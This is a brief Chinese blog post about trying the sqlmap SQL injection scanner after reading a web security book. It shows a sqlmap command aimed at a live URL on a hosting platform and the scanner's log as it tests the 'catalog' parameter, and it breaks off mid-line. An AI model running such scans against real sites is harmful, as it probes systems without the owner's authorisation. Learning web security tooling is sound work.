最近在看《白帽子讲 Web 安全》,讲服务器端注入攻击时提到一个神器 sqlmap。
python sqlmap.py -u "https://my.oschina.net/lvyi/blog?catalog=423226&temp=1476090615355"
即可开始分析有没有 SQL 注入的可能。
[17:10:41] [INFO] GET parameter 'catalog' is dynamic
[17:10:42] [INFO] heuristic (basic) test shows that GET parameter 'catalog' might be injectable
[17:10:42] [INFO] testing for SQL injection on GET parameter 'catalog'
[17:10:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:11:00] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[17:11:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:11:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:11:24] [INFO] testing 'Microsoft SQL Server/Sybas